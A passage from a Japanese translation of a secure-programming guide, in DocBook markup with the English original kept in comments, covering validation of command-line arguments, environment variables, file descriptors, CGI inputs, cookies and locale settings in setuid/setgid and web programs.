さい。別のプログラムが使う入力(ファイル名や電子メールアドレス、URL 等)を
チェックする場合には特に重要です。
これらのプログラムは、見落としがちな間違いを抱えていることが多く、いわゆる
「代理人問題」(データを実際に使用するプログラムとチェックするプログラム間で
前提条件が異なっているケース)が発生します。
適切な規準があるなら、それを見てください。あわせて、そのプログラムが、拡張
機能を持っていないかどうかの調査もしてください。拡張機能は知っておく必要が
あります。
</para>

<para>
<!--
While parsing user input, it's a good idea to temporarily drop all privileges,
or even create separate processes (with the parser having permanently dropped
privileges, and the other process performing security checks against the
parser requests).
This is especially true if the parsing task is complex (e.g., if you use
a lex-like or yacc-like tool), or if the programming language
doesn't protect against buffer overflows (e.g., C and C++).
See
<xref linkend="minimize-privileges">
for more information on minimizing privileges.
-->
ユーザの入力を解析している間は、一時的に特権すべてを落とすというのは良い
考えです。また独立したプロセスを作成するのも、同じく良い考えです
(解析を行う場合は常に特権を落とし、他のプロセスが解析の要求に対してセキュ
リティ上のチェックを行う)。
このケースがとりわけ当てはまるのは、解析作業が複雑である場合(たとえば、lex や 
yacc といったツールを使う)や、プログラミング言語がバッファオーバーフローを
防げない場合です(たとえば、C や C++)。
特権を最小限にする方法については <xref linkend="minimize-privileges"> を
見てください。
</para>

<para>
<!--
When using data for security decisions (e.g., ``let this user in''),
be sure to use trustworthy channels.
For example, on a public Internet, don't just use the machine IP address
or port number as the sole way to authenticate users, because in most
environments this information can be set
by the (potentially malicious) user.
See
<xref linkend="trustworthy-channels"> for more information.
-->
セキュリティ上の判断を行う際にデータを使用する時には(たとえば「このユーザを
通過させなさい」)、必ず信頼できる経路を使ってください。
たとえば、公開されたインターネット上では、マシンの IP アドレスやポート
番号だけにユーザの認証を任せてはいけません。というのは、この情報を(もしか
すると悪意を持った)ユーザが設定できてしまう環境が大多数だからです。
詳しい情報は <xref linkend="trustworthy-channels"> を見てください。
</para>

<para>
<!--
The following subsections discuss different kinds of inputs to a program;
note that input includes process state such as environment variables,
umask values, and so on.
Not all inputs are under the control of an untrusted user, so you need
only worry about those inputs that are.
-->
下記のサブセクションでは、プログラムに対するさまざまな入力について論じます。
環境変数や umask 値等、プロセスの状態を含む入力には注意が必要です。
入力すべてが信頼できないユーザによってコントロールされているわけではないので、
これから論じる入力だけを気にかければ OK です。
</para>

<sect1 id="command-line">
<!-- <title>Command line</title> -->
<title>コマンドライン</title>

<para>
<!--
Many programs take input from the command line.
A setuid/setgid program's command line data is provided by
an untrusted user, so a setuid/setgid program must defend itself from
potentially hostile command line values.
Attackers can send just about any kind of data through a command line
(through calls such as the execve(3) call).
Therefore, setuid/setgid programs must completely
validate the command line inputs and
must not trust the name of the program reported by command line argument zero
(an attacker can set it to any value including NULL).
-->
プログラムは、コマンドラインから入力を取ってくる場合がよくあります。
setuid や setgid したプログラムに対するコマンドライン上のデータは、信頼
できないユーザが入力しています。したがって、コマンドラインの値が敵意あるもの
である場合に備えて、setuid や setgid したプログラムはプログラム自身でそれに
対処しなければいけません。
攻撃者は、ほとんどあらゆる種類のデータをコマンドラインから入力できます
(execve(3)のようなシステムコールを呼び出すことで)。
したがって、setuid や setgid したプログラムは、コマンドライン上の入力を完璧
に検証し、コマンドラインの引数が 0 番目に当たるプログラム名を信頼しては
いけません(攻撃者は NULL を含むどんな値も設定できるため)。
</para>

</sect1>

<sect1 id="environment-variables">
<!-- <title>Environment Variables</title> -->
<title>環境変数</title>

<para>
<!--
By default, environment variables are inherited from a process' parent.
However, when a program executes another program, the calling program
can set the environment variables to arbitrary values.
This is dangerous to setuid/setgid programs, because their invoker can
completely control the environment variables they're given.
Since they are usually inherited, this also applies transitively; a
secure program might call some other program and, without special measures,
would pass potentially dangerous environment variables values on to the
program it calls.
The following subsections discuss environment variables and what to
do with them.
-->
環境変数は、デフォルトでは親プロセスから継承されます。
しかしあるプログラムから別のプログラムを実行(exec)した場合、環境変数に
任意の値を設定できます。
setuid や setgid されたプログラムでは、これは危険です。というのも、
プログラムを呼び出すことで環境変数のコントロールが可能になり、環境変数を
別のプログラムに渡せてしまうからです。
通常、環境変数は継承されてしまうため、この危険性も同時に引き継がれてしまい
ます。安全性が必要なプログラムが他のプログラムを何も考えずに呼び出すと、
もしかすると危険である環境変数の値がそのプログラムが呼び出すプログラムに
渡されてしまうかもしれません。
下記のサブセクションでは、環境変数とその取り扱いについて論じます。
</para>

<sect2 id="env-vars-dangerous">
<!-- <title>Some Environment Variables are Dangerous</title> -->
<title>環境変数の中には危ないものもある</title>

<para>
<!--
Some environment variables are dangerous because
many libraries and programs are controlled by environment
variables in ways that are obscure, subtle, or undocumented.
For example, the IFS variable is used by the <emphasis remap="it">sh</emphasis> and <emphasis remap="it">bash</emphasis>
shell to determine which characters separate command line arguments.
Since the shell is invoked by several low-level calls
(like system(3) and popen(3) in C, or the back-tick operator in Perl),
setting IFS to unusual values can subvert apparently-safe calls.
This behavior is documented in bash and sh, but it's obscure;
many long-time users only know about IFS because of its use in breaking
security, not because it's actually used very often for its intended purpose.
What is worse is that not all environment variables are documented, and
even if they are, those other programs may change and add dangerous
environment variables.
Thus, the only real solution (described below) is to select the ones you
need and throw away the rest.
-->
環境変数の中には危険なものがあります。理由は、たいていの場合ライブラリや
プログラムは環境変数によってコントロールされているものの、その方法が
あいまいだったり、わかりにくかったり、ドキュメント化されていないものが
あったりするからです。
たとえば IFS 変数は、<emphasis remap="it">sh</emphasis> や 
<emphasis remap="it">bash</emphasis> でコマンドラインの引数を
分割するために使用するキャラクタの指定で利用されています。
シェルは低レベルのシステムコール(C の system(3) や popen(3)や Perl の 
backtick 演算子)を利用して呼び出されるため、IFS 変数に
異常な値を設定すると、一見安全と思われるシステムコールを危険なものに
変えてしまう恐れがあります。
この動作は bash や sh のドキュメントに載っていますが、はっきりとは書いて
ありません。
長年愛用している人だけが、IFS を知っています。それは IFS を使うと
セキュリティが脅かされるという理由であって、本来の目的で実際によく使われる
からではありません。
さらに困ったことに、すべての環境変数がドキュメント化してあるわけではなく、
ドキュメント化してあったとしても、その他のプログラムが値を変更したり、
危険な環境変数を追加してしまう可能性もあります。
つまり、唯一の解決方法(下記にあげますが)は、必要な環境変数を選び出し、残りを
捨てることです。
</para>

</sect2>

<sect2 id="env-storage-dangerous">
<!-- <title>Environment Variable Storage Format is Dangerous</title> -->
<title>環境変数の保存方法にまつわる危険性</title>

<para>
<!--
Normally, programs should use the standard access routines to access
environment variables.
For example, in C, you should get values
using getenv(3), set them using the
POSIX standard routine putenv(3) or the BSD extension setenv(3)
and eliminate environment variables using unsetenv(3).
I should note here that setenv(3) is implemented in Linux, too.
-->
本来プログラムは、標準的なアクセス手段で環境変数を利用した方がベターです。
たとえば、C では値を取得するのに getenv(3)を使い、値を設定するのに POSIX 
規格である putenv(3)を使うか、BSD の拡張である setenv(3)を使います。
また環境変数を削除するのには、unsetenv(3)を使います。
ここで強調しておきたいのは、setenv(3)が Linux でも実装されていることです。
</para>

<para>
<!--
However, crackers need not be so nice; crackers can directly control the
environment variable data area passed to a program using execve(2).
This permits some nasty attacks, which can only be understood by
understanding how environment variables really work.
In Linux, you can see environ(5) for a summary how about environment variables
really work.
In short, environment variables are internally stored as a pointer to
an array of pointers to characters; this array is stored in order and
terminated by a NULL pointer (so you'll know when the array ends).
The pointers to characters, in turn, each
point to a NIL-terminated string value of the form ``NAME=value''.
This has several implications, for example, environment variable names
can't include the equal sign, and neither the name nor value can have
embedded NIL characters.
However, a more dangerous implication of this format is that it allows
multiple entries with the same variable name, but with different values
(e.g., more than one value for SHELL).
While typical command shells prohibit doing this,
a locally-executing cracker can create such a situation using execve(2).
-->
しかし、攻撃者はそのように行儀よくする必要はありません。攻撃者は環境変数
のデータ領域を直接コントロールし、そのデータ領域を execve(2)を使った
プログラムに渡せます。これが悪意ある攻撃を可能にしています。この攻撃は
環境変数が実際にどのように動作するかを理解してはじめて理解できる攻撃です。
Linux では environ(5)を見れば、要約したかたちで環境変数がどのように機能
するかがわかります。
簡単に言えば、環境変数は文字に対するポインタの配列へのポインタとして記憶して
います。この配列は規則正しく並んでいて、NULL ポインタで終端してあります
(したがって、配列の最後がわかります)。同様に文字へのポインタは、それぞれ
が NIL で終端してある「名前=値」というフォーマットの文字列の値をそれぞれ
指しています。
これが言わんとすることは、いくつかあります。たとえば環境変数名には、
イコール記号(=)を入れることができません。名前だけでなく値にも NIL 文字を
埋めこめません。
しかし危ないと言う意味では、同じ名前でありながら値が異なる複数のエントリ
(たとえば、複数の SHELL 変数値)を認めるというものもあります。
代表的なコマンドシェルは、これを禁止していますが、攻撃者がローカルで作業して
いれば、execve(2)を使ってそのような状況を作れます。
</para>

<para>
<!--
The problem with this storage format (and the way it's set)
is that a program might check one of these values
(to see if it's valid) but actually use a different one.
In Linux,
the GNU glibc libraries try to shield programs from this;
glibc 2.1's implementation of getenv will always get the first matching
entry, setenv and putenv will always set the first matching entry, and
unsetenv will actually unset <emphasis remap="it">all</emphasis> of the matching entries
(congratulations to the GNU glibc implementers for implementing
unsetenv this way!).
However, some programs go directly to the environ variable and iterate
across all environment variables; in this case,
they might use the last matching entry instead of the first one.
As a result, if checks were made against the first matching entry instead,
but the actual value used is the last matching entry,
a cracker can use this fact to circumvent the protection routines.
-->
この書式を記録(設定する方法も)する上での問題は、プログラムが
(正しい値であるかを見るために)これらの値の 1 つをチェックすればよいのに、
実際は違うものを使ってしまう点にあります。
Linux では GNU glibc ライブラリがこの問題からプログラムを保護することに
取り組んでいます。
glibc 2.1 における getenv の実装は、常に最初にマッチした項目を取得し、
setenv と putenv は常に最初にマッチした項目に設定します。unsetenv は、
マッチした項目 <emphasis remap="it">すべて</emphasis>を解除します(GNU glibc 
の実装は何と素晴らしいことか！)。
しかし、プログラムには環境変数に直接アクセスし、環境変数すべてをなめるものも
あります。この場合は、プログラムが最初ではなく、最後にマッチした項目を使う
可能性があります。
となると、最初の項目をチェックしているにもかかわらず、実際は最後の項目を
使ってしまうことになります。攻撃者はこの事実を利用して、保護ルーチンを回避
してしまいます。
</para>

</sect2>

<sect2 id="env-var-solution">
<!-- <title>The Solution - Extract and Erase</title> -->
<title>解決方法――選別して、消し去る</title>

<para>
<!--
For secure setuid/setgid programs, the short list of environment variables
needed as input (if any) should be carefully extracted.
Then the entire environment should be erased,
followed by resetting a small set of necessary environment
variables to safe values.
There really isn't a better way if you make any calls to subordinate
programs; there's no practical
method of listing ``all the dangerous values''.
Even if you reviewed the source code of every program you call
directly or indirectly,
someone may add new undocumented environment variables after you
write your code, and one of them may be exploitable.
-->
setuid や setgid してあるプログラムを安全にするには、入力として必要な
環境変数(があれば)を減らして、周到に選別しなければいけません。
そして環境変数全体を消し、その後必要となるわずかな数の環境変数に、安全な
値を再設定します。
何らかの下位プログラムを呼び出すなら、これが一番優れた方法です。
「危険な値をすべて」をリストアップする手法は、実質的ではありません。
直接間接に呼び出すプログラムごとにソースコードをレビューしたとしても、
あなたがコードを書いた後に、ドキュメント化していない新たな環境変数を
誰かが追加してしまうかもしれません。そういうものの 1 つが危険であるかも
しれません。
</para>

<para>
<!--
The simple way to erase the environment in C/C++
is by setting the global variable
<emphasis remap="it">environ</emphasis>
to NULL.
The global variable environ is defined in &lt;unistd.h&gt;; C/C++ users will
want to &num;include this header file.
You will need to manipulate this value before spawning threads, but that's
rarely a problem, since you want to do these manipulations very early in
the program's execution (usually before threads are spawned).
-->
C や C++ で簡単に環境を消去する方法は、グローバル変数の
<emphasis remap="it">environ </emphasis> に NULL を設定してしまう方法です。
グローバル変数である environ は &lt;unistd.h&gt;; で定義してあり、C や C++ 
ユーザはこのヘッダーファイルを &num;include する必要があります。
まずこの値を処理してから、スレッドを立ち上げなければいけませんが、それが
問題となることはめったにありません。というのは、プログラムを実行する際、
できるだけ早い段階(通常はスレッドを起こす前)でこれらの処理を行う必要がある
からです。
</para>

<para>
<!--
The global variable environ's definition is defined in various standards; it's
not clear that the official standards condone directly changing its value,
but I'm unaware of any Unix-like system that has trouble
with doing this.
I normally just modify the ``environ'' directly;
manipulating such low-level components is possibly non-portable, but 
it assures you that you get a clean (and safe) environment.
In the rare case where you need later access to the entire set of
variables, you could save the ``environ'' variable's value somewhere,
but this is rarely necessary; nearly all programs need only a few values,
and the rest can be dropped.
-->
グローバル変数 environ はさまざまな規格で定義してあります。公式な規格で
直接値を変更することを認めているかどうかははっきりしません。しかし直接値を
変更することで問題が発生してしまうような Unix ライクなシステムを私は知りません。
私は通常「environ」だけを直接修正しています。
そのような低レベルの構成要素で処理すると、おそらく互換性はなくなります。しかし
確実にクリーン(で安全)な環境を得ることが保証されます。
環境変数全体に対して、後になってアクセスが必要なケースが時として生じる
ので、「environ」変数の値をどこか別のところに保存しておくのもよいでしょう。
しかし、プログラムにはほんのいくつかの値が必要な場合がほとんどなので、残りは
落とすほうがよいでしょう。
</para>

<para>
<!--
Another way to clear the environment
is to use the undocumented clearenv() function.
The function
clearenv() has an odd history; it was supposed to be defined in POSIX.1, but
somehow never made it into that standard.
However, clearenv() is defined in POSIX.9
(the Fortran 77 bindings to POSIX), so there is a quasi-official status for it.
In Linux,
clearenv() is defined in &lt;stdlib.h&gt;, but before using &num;include
to include it you must make sure that &lowbar;&lowbar;USE&lowbar;MISC is &num;defined.
A somewhat more ``official'' approach is to cause __USE_MISC to be defined
is to first #define either _SVID_SOURCE or _BSD_SOURCE, and then
#include &lt;features.h&gt; -
these are the official feature test macros.
-->
もう 1 つ環境をクリアにする方法があります。それは clearenv()というドキュメント
にのっていない関数を使う方法です。
この clearenv()関数は生い立ちが変わっています。POSIX.1 では定義されることに
なっていましたが、どういうわけか規格には入りませんでした。
しかし、clearenv()は POSIX.9(Fortran 77 の POSIX 規約)で定義しているので、
準公式扱いになっています。
Linux で clearenv()は、&lt;stdlib.h&gt; で定義してありますが、&num;include 
を使って取り込む前に、必ず &lowbar;&lowbar;USE&lowbar;MISC が &num;defined 
していなければいけません。
もう少し「公式」なアプローチとして __USE_MISC を定義するのに、まず 
_SVID_SOURCE もしくは _BSD_SOURCE をまず宣言してから、
#include &lt;features.h&gt; してください。これらはテスト用マクロとして公式
の機能です。
__
</para>

<para>
<!--
One environment value you'll almost certainly re-add is PATH,
the list of directories to search for programs; PATH should
<emphasis remap="it">not</emphasis> include the current directory and usually be something simple like
``/bin:/usr/bin''.
Typically you'll also set
IFS (to its default of `` \t\n'', where space is the first character)
and TZ (timezone).
Linux won't die if you don't supply either IFS or TZ,
but some System V based systems have problems if you don't supply a TZ value,
and it's rumored that some shells need the IFS value set.
In Linux, see environ(5) for a list of common environment variables that you
<emphasis remap="it">might</emphasis> want to set.
-->
PATH は、追記されるタイプの環境変数の 1 つです。ディレクトリのリストになって
いて、プログラムを検索するのに使用します。PATH には、カレントディレクトリを
含めては<emphasis remap="it">いけません</emphasis>。普通は単純に
「/bin:/usr/bin」という感じにします。
IFS(デフォルトは「 \t\n」で、最初の文字はスペースです) や TZ(タイムゾーン)も
設定しているかもしれません。
Linux は IFS や TZ を設定していなくても、止まることはありません。しかし、
System V ベースのシステムの中には、TZ に値を設定しないと問題が起こるものも
あります。また、IFS に値を設定していないとまずいシェルがあるようです。
Linux では environ(5)を見て、一般的な環境変数の一覧を確認し、
設定したい変数を見つけた方が<emphasis remap="it">よいでしょう</emphasis>。
</para>

<para>
<!--
If you really need user-supplied values, check the values first
(to ensure that the values match a pattern for legal values and that they
are within some reasonable maximum length).
Ideally there would be some standard trusted file in /etc with the
information for ``standard safe environment variable values'',
but at this time there's no standard file defined for this purpose.
For something similar, you might want to examine the PAM module pam&lowbar;env
on those systems which have that module.
-->
ユーザが提供する値を本当に必要とするなら、まず値をチェックしてください(値が
正式な値のパタンにマッチしているか、許容している最大文字列長を超えて
いないかを確認してください)。
/etc に、「安全な環境変数の基準」を示した、信頼できる基準となるファイルが存在
するのが理想です。しかし現状は、この目的に合致した基準となるファイルは存在
しません。
似たようなものとして、もしシステム上に PAM モジュールがあるなら、pam&lowbar;env 
を調べた方がよいでしょう。

</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I haven't seen ANYONE else discuss this in secure programming 
     guidelines, probably because shell isn't the best place to start
     anyway, but may as well mention it. -->

<para>
<!--
If you're using a shell as your programming language,
you can use the ``/usr/bin/env'' program with the ``-'' option
(which erases all environment variables of the program being run).
Basically, you call /usr/bin/env, give it the ``-'' option,
follow that with the set of variables and their values you wish to set
(as name=value),
and then follow that with the name of the program to run and its arguments.
You usually want to call the program using the full pathname
(/usr/bin/env) and not just as ``env'', in case a user has created
a dangerous PATH value.
Note that GNU's env also accepts the options
"-i" and "&R45;&R45;nore-environment" as synonyms (they also erase the
environment of the program being started), but these aren't portable to
other versions of env.
-->
シェルをプログラミング言語として使っているなら、「/usr/bin/env」に「-」
オプションを利用します(これで動作するプログラムの環境変数すべてが削除
されます)。
つまり、/usr/bin/env を「-」オプション付きで呼び出して、その後に変数を
準備し、それに値を設定します(名前=値の形で)。
次に、プログラムに引数を与えて起動します。
通常はプログラムをフルパス(/usr/bin/env)で指定してください。ただ「env」
としないでください。そうするとユーザが危険な PATH の値を作成してしまい
ます。
GNU の env には「-i」とその同義である「--ignore-environment」(これもプロ
グラムが起動すると環境変数を削除する)がありますが、他のバージョンとは互換性
がありません。
</para>

<para>
<!--
If you're programming a setuid/setgid program in a language
that doesn't allow you to reset the environment directly,
one approach is to create a ``wrapper'' program.
The wrapper sets the environment program to safe values, and then
calls the other program.
Beware: make sure the wrapper will actually invoke the intended program;
if it's an interpreted program, make sure there's no race condition possible
that would allow the interpreter to load a different program than the one
that was granted the special setuid/setgid privileges.
-->
setuid や setgid するプログラムを作成していて、その開発言語が環境を直接再設定
できないなら、「ラッパー」プログラムを作成するのも手の 1 つです。
ラッパーは、プログラムの環境を安全な値に設定し、他のプログラムを呼び出します。
注意しなければいけないのは、ラッパーが対象となるプログラムを実際に呼び
出さなければいけない点です。
そのプログラムがインタプリターなものなら、競合状態に絶対に陥らないように
してください。競合状態が起こると、特別に権限を許可して setuid や setgid して
あるプログラムではなく、別のプログラムをインタプリターがロードしてしまうかも
しれないからです。
</para>

</sect2>

</sect1>

<sect1 id="file-descriptors">
<!-- <title>File Descriptors</title> -->
<title>ファイル・ディスクリプタ</title>

<para>
<!--
A program is passed a set of ``open file descriptors'', that is,
pre-opened files.
A setuid/setgid program must deal with the fact that the user gets to
select what files are open and to what (within their permission limits).
A setuid/setgid program must not assume that opening a new file will always
open into a fixed file descriptor id.
It must also not assume that standard input (stdin),
standard output (stdout), and standard error (stderr)
refer to a terminal or are even open.
-->
プログラムには「オープンしたファイル・ディスクリプタ」、つまりあらかじめ
オープンされているファイルが渡ります。
setuid や setgid されたプログラムでは、オープンしているファイルとその内容を
ユーザが(パーミッションの範囲内で)切り替えられる、ということに配慮する必要が
あります。
setuid や setgid されたプログラムでは、新しくオープンしたファイルが常に固定
したファイル・ディスクリプタ ID に割り当てられていると想定してはいけません。
また端末が標準入力や標準出力、標準エラーの出力先になっていること、また端末が
既にオープンされていることも前提にしてはいけません。
</para>

<para>
<!--
The rationale behind this is easy; since an attacker can open or
close a file descriptor before starting the program,
the attacker could create an unexpected situation.
If the attacker closes the standard output, when the program opens
the next file it will be opened as though it were standard output,
and then it will send all standard output to that file as well.
Some C libraries will automatically open stdin, stdout, and stderr
if they aren't already open (to /dev/null), but this isn't true on
all Unix-like systems.
-->
この理論的根拠は難しくありません。攻撃者がプログラムを起動する前にファイル・
ディスクリプタをオープンしたりクローズしたりできますので、攻撃者は予想外の
状況にしようと思えばできてしまいます。
攻撃者が標準出力を閉じ、その時にプログラムが次のファイルをオープンした時に、
あたかも標準出力がオープンしているかのようになります。そしてプログラムは、
すべて標準出力に書くがごとく、そのファイルに書き込んでしまいます。
C ライブラリの中には、stdin や stdout、stderr が開いていなければ(/dev/null 
に対して)、自動的にオープンするものがあります。しかしこれは Unix ライクな
システムすべてに当てはまるわけではありません。
</para>

</sect1>

<sect1 id="file-contents">
<!-- <title>File Contents</title> -->
<title>ファイルの内容</title>

<para>
<!--
If a program takes directions from a file, it must not trust that file
specially unless only a trusted user can control its contents.
Usually this means that an untrusted user must not be able to modify the file,
its directory, or any of its ancestor directories.
Otherwise, the file must be treated as suspect.
-->
ファイルの内容によって、プログラムの動作が左右される場合、信頼できるユーザ
だけがその内容を変更できるのでなければ、そのファイルを信用してはいけません。
つまり信頼できないユーザが、ファイルやそのファイルがあるディレクトリ、その親
ディレクトリを修正できてはいけません。
そうでないなら、そのファイルを信頼するに値しないものとして扱わなければいけ
ません。
</para>

<para>
<!--
If the directions in the file are supposed to be from an untrusted user,
then make sure that the inputs from the file are protected as describe
throughout this book.
In particular, check that values match the set of legal values, and that
buffers are not overflowed.
-->
ファイルに記述してあるやり方が、信頼できないユーザからのものだとするなら、
このドキュメントに書かれている内容にしたがって、そのファイルからの入力を
防いでください。
特に正しい値とマッチしているか、バッファがオーバーフローしないかを必ず
チェックしてください。
</para>

</sect1>

<sect1 id="web-apps">
<!--
<title>Web-Based Application Inputs (Especially CGI Scripts)</title>
-->
<title>Web ベースのアプリケーションの入力(特に CGI スクリプト)</title>

<para>
<!--
Web-based applications (such as CGI scripts) run on some trusted
server and must get their
input data somehow through the web.
Since the input data generally come from untrusted users,
this input data must be validated.
Indeed, this information may have actually come from an untrusted third
party; see
<xref linkend="cross-site-malicious-content"> for more information.
For example, CGI scripts
are passed this information
through a standard set of environment variables and through standard input.
The rest of this text will specifically discuss CGI, because it's
the most common technique for implementing dynamic web content, but
the general issues are the same for most other dynamic web content techniques.
-->
Web ベースのアプリケーション(CGI スクリプトのような)は、信頼できるサーバ
上で稼働し、何らかの方法で Web 経由で入力データを受け取る必要があります。
入力は概して信頼できないユーザから来ますので、この入力データを検証する
必要があります。
実際、情報は信頼できない第三者からやってきます。<xref 
linkend="cross-site-malicious-content"> にさらに詳しい情報があります。
たとえば、CGI スクリプトは、情報を標準的な環境変数や標準入力を通じて取得
します。このドキュメントの残りの部分では、CGI にターゲットを当てて論じる
つもりです。理由は、CGI が動的に Web コンテンツを実行する最も普及している
技術であり、他の動的に Web コンテンツを実行する技術も一般的な問題点は同じ
だからです。
</para>

<para>
<!--
One additional complication is that many CGI inputs are provided in
so-called ``URL-encoded'' format, that is, some values are written in the
format &percnt;HH where HH is the hexadecimal code for that byte.
You or your CGI library must handle these inputs correctly by
URL-decoding the input and then checking
if the resulting byte value is acceptable.
You must correctly handle all values, including problematic
values such as &percnt;00 (NIL) and &percnt;0A (newline).
Don't decode inputs more than once, or input such as ``&percnt;2500''
will be mishandled (the &percnt;25 would be translated to ``&percnt;'', and the resulting
``&percnt;00'' would be erroneously translated to the NIL character).
-->
CGI からの入力の多くが、いわゆる「URL エンコードされた」形式になっている
点が、検証をより厄介にしています。つまり 16 進数の HH というバイト値を表す
には &percnt;HH という形式をとります。
CGI や CGI ライブラリは、これらの入力を適切にデコードして、バイト値が正しい
かどうかをチェックする必要があります。
&percnt;00(NIL)や &percnt;0A(改行)のような疑わしい値を含むすべての入力を
間違いなく処理しなければいけません。
入力のデコードは繰り返し行わないでください。そうしないと、「&percnt;2500」の
ような入力が、誤って処理されてしまいます(まず &percnt;25 が「&percnt;」に変換
され、その結果「&percnt;00」が間違って NIL キャラクタに変換されてしまいます)。
</para>

<para>
<!--
CGI scripts are commonly attacked by including special characters in their
inputs; see the comments above.
-->
入力に特殊なキャラクタを混ぜることで、CGI スクリプトを攻撃するケースがまま
見られます。上記の解説を見てください。
</para>

<para>
<!--
Another form of data available to web-based applications are ``cookies.''
Again, users can provide arbitrary cookie values, so they cannot
be trusted unless special precautions are taken.
Also, cookies can be used to track users, potentially invading user privacy.
As a result, many users disable cookies, so if possible your web application
should be designed so that it does not require the use of cookies
(but see my later discussion for when you <emphasis>must</emphasis> authenticate
individual users).
I encourage you to avoid or limit the use of persistent cookies
(cookies that last beyond a current session), because they are easily abused.
Indeed, U.S. agencies are currently forbidden to use persistent cookies
except in special circumstances, because of the concern about
invading user privacy; see the
<ulink url="http://cio.gov/files/lewfinal062200.pdf">OMB guidance
in memorandum M-00-13 (June 22, 2000)</ulink>.
-->
Web ベースのアプリケーションで扱うデータ形式がもう 1 つあります。それは、
「クッキー」です。
このクッキーもユーザが勝手に値を提供できるので、予防策を特別に取らない
限り信頼できません。
また、クッキーはユーザを追跡するのによく利用され、ユーザのプライバシーを侵す
かもしれません。
結果として、ユーザはクッキーを無効にしてしまう場合が多く、Web アプリケーション
はクッキーを必要としないように設計した方が良いでしょう(しかし、個々のユーザを
認証しなければ<emphasis>いけない</emphasis>とした以前の議論を見てください)。
永続するクッキー(現在のセッションだけでなく、それ以後も存続するクッキー)の
利用を避けるか、制限をかけることをお薦めします。クッキーは簡単に悪用されて
しまうからです。
実際現状では、米国の政府機関は永続するクッキーを特別な例外を除いて禁止して
います。
ユーザのプライバシー侵害が心配だからです。
<ulink url="http://cio.gov/files/lewfinal062200.pdf">OMB guidance
in memorandum M-00-13 (June 22, 2000)</ulink> を見てください。
<!-- http://cio.gov/files/OMBCookies2.pdf
 http://www.gao.gov/new.items/d01147r.pdf -->
<!-- 
Note that to use cookies, some browsers may insist that you
have a privacy profile (named p3p.xml on the root directory of the server).
-->
クッキーを使用する上で注意しなければいけないのは、ブラウザの中にはプライバシー・
プロファイル(サーバのルートディレクトリにある p3p.xml がそれです)を必要と
するものがあるかもしれません。
</para>

<para>
<!--
Some HTML forms include client-side input checking
to prevent some illegal values; these are
typically implemented using Javascript/ECMAscript or Java.
This checking can be helpful for the user, since it can happen ``immediately''
without requiring any network access.
However, this kind of input checking is useless for security, because
attackers can send such ``illegal'' values directly to the web server
without going through the checks.
It's not even hard to subvert this; you don't have to write
a program to send arbitrary data to a web application.
In general, servers must perform all their own input checking
(of form data, cookies, and so on) because
they cannot trust clients to do this securely.
In short, clients are generally not ``trustworthy channels''.
See <xref linkend="trustworthy-channels">
for more information on trustworthy channels.
-->
HTML のフォームにはクライアント側での入力チェックを入れて、これで不正な
値を防御するものがあります。これらは普通、Javascript や ECMAscript、Java 
で実装してあります。
このチェックは、ユーザにとっては役に立ちます。ネットワーク経由でアクセス
しなくても、「すぐに」チェックができるからです。
しかし、この種の入力チェックは、セキュリティの点からすると無駄なチェック
です。理由は、攻撃者は「不正な」値をチェックを受けずに直接 Web サーバに送り
つけられるからです。
このチェックを駄目にするのでさえ、難しいことではありません。Web アプリ
ケーションに対して、任意のデータを送るようなプログラムを書く必要はありません。
一般的には、サーバは入力チェックをすべて自前で行う必要があります(フォームの
データやクッキー等)。サーバは、クライアントがしっかりしているとは信じられ
ないからです。
つまり、クライアントは一般的に「信頼に足る伝達経路」ではないからです。
信頼できる伝達経路については、<xref linkend="trustworthy-channels"> に
さらに情報があります。
</para>

<para>
<!--
A brief discussion on input validation for those using Microsoft's
Active Server Pages (ASP) is available from
Jerry Connolly at
<ulink url="http://heap.nologin.net/aspsec.html">http://heap.nologin.net/aspsec.html</ulink>
-->
Microsoft の Active Server Pages(ASP)を使って入力の妥当性を確認する議論に
ついては、Jerry Connolly 氏が <ulink 
url="http://heap.nologin.net/aspsec.html">http://heap.nologin.net/aspsec.html</ulink> で簡潔に論じています。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???
Jerry Connolly, jerry.connolly@EIRCOM.NET,
has guidelines for secure ASP pages - mentioned on SECPROG, 1 May 2001:
"I have written a small piece on the subject of input validation at:"
http://heap.nologin.net/aspsec.html
-->
</para>



</sect1>

<sect1 id="other-inputs">
<!-- <title>Other Inputs</title> -->
<title>その他の入力</title>

<para>
<!--
Programs must ensure that all inputs are controlled; this is particularly
difficult for setuid/setgid programs because they have so many such inputs.
Other inputs programs must consider include the current directory,
signals, memory maps (mmaps), System V IPC, and the umask (which determines
the default permissions of newly-created files).
Consider explicitly changing directories (using chdir(2)) to an appropriately
fully named directory at program startup.
-->
プログラムでは、必ず入力すべてをコントロールしてください。
しかし setuid や setgid されたプログラムでは困難を極めます。理由は、そのような
入力があまりに多いからです。
その他の入力プログラムでは、下記の点を考慮する必要があります。それはカレント
ディレクトリやシグナル、メモリ・マップ(mmap)、System V 由来の IPC、
umask(新規にファイルを作成する場合のデフォルトのパーミッションを決定する)
についてです。
プログラムを起動する時、ディレクトリを(chdir(2)を使用して)変更する場合は、
フルパス指定できちんと目的のディレクトリに移動することも考慮してください。
</para>

</sect1>

<sect1 id="locale">
<!--
<title>Human Language (Locale) Selection</title>
-->
<title>自然言語(ロカール)の選択</title>

<para>
<!--
As more people have computers and the Internet available to them, there
has been increasing pressure for programs
to support multiple human languages and cultures.
This combination of language and other cultural factors is usually called
a ``locale''.
The process of modifying a program so it can support multiple locales
is called ``internationalization'' (i18n), and the process of providing
the information for a particular locale to a program is called
``localization'' (l10n).
-->
コンピュータが増加し、インターネットが身近になるにつれて、プログラムで
複数の言語や文化をサポートすることが強く求められてきています。
言語とその他の文化に関連した要素のことを普通「ロカール(locale)」と言い
ます。
複数ロカールに対応するためプログラム修正する過程を「国際化
(internationalization)」(i18n)と呼び、特定のロカール情報をプログラム
に提供することを「地域化(localization)」(l10n)と言います。
</para>

<para>
<!--
Overall, internationalization
is a good thing, but this process provides another opportunity
for a security exploit.
Since a potentially untrusted user provides information on the desired
locale, locale selection becomes another input that,
if not properly protected, can be exploited.
-->
全般的には国際化は良いことですが、この過程でセキュリティを侵害する機会
がさらに追加されます。
信頼できないユーザが、望ましいロカール情報を提供できてしまえます。つまり、
ロカールを選択する際に、指定したものと異なるロカールを入力してしまえます。
きちんと防御していなければ、これが悪用されてしまう可能性があります。
</para>

<sect2 id="how-locales-selected">
<!-- <title>How Locales are Selected</title> -->
<title>ロカールを選択するには</title>

<para>
<!--
In locally-run programs (including setuid/setgid programs),
locale information is provided by an environment
variable.
